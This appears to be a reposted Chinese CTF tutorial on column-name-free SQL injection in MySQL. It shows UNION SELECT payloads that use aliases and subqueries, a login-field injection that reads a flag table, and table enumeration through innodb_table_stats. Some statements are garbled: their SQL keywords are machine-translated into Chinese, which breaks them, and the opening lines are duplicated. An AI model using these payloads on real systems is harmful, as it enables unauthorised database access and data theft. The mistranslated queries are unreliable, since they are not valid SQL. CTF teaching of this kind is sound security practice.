CTF常用sql注入(三)无列名注入,sql里面列名无效怎么办

CTF常用sql注入(三)无列名注入0x06 无列名
适用于无法正确的查出结果,比如把information_schema给过滤了
join
联合
select * from users;select 1,2,3 un

0x06 无列名

适用于未正确找到结果的情况,例如过滤information_schema。

join

联合

从用户中选择*。

select 1,2,3 Union select * from user;

列名称已替换为1、2、3。

然后使用子查询和别名来检查

select `2` from (select 1,2,3 Union select * from users)a;

不使用反引号继续增加难度

select b from (选择1 作为a, 2 作为b, 3 作为c * 组合用户的选择)u;

同时查询多列

select concat(b,0x7e,c) from (select 1 as a, 2 as b, 3 as c Union select * from user)u;

已知的表名称是flaga

密码=\\用户名=,用户名=(select a from (select 1,2 as a,6 Union select * from flaga limit 1,1)u)#

成功

0x07 InnoDb引擎

它还用于基于过滤查询表名。

innodb_index_stats 和innodb_table_stats 表

例如,它的缺点是只能用于搜索表,并且可以与没有列名的查询一起使用。

(从mysql.innodb_table_stats中选择group_concat(table_name),其中database_name=database())#

#CTF常见SQL注入(三) 以上有关私有注入的相关内容仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93234.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月5日 下午7:39
下一篇 2024年7月5日 下午7:58

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注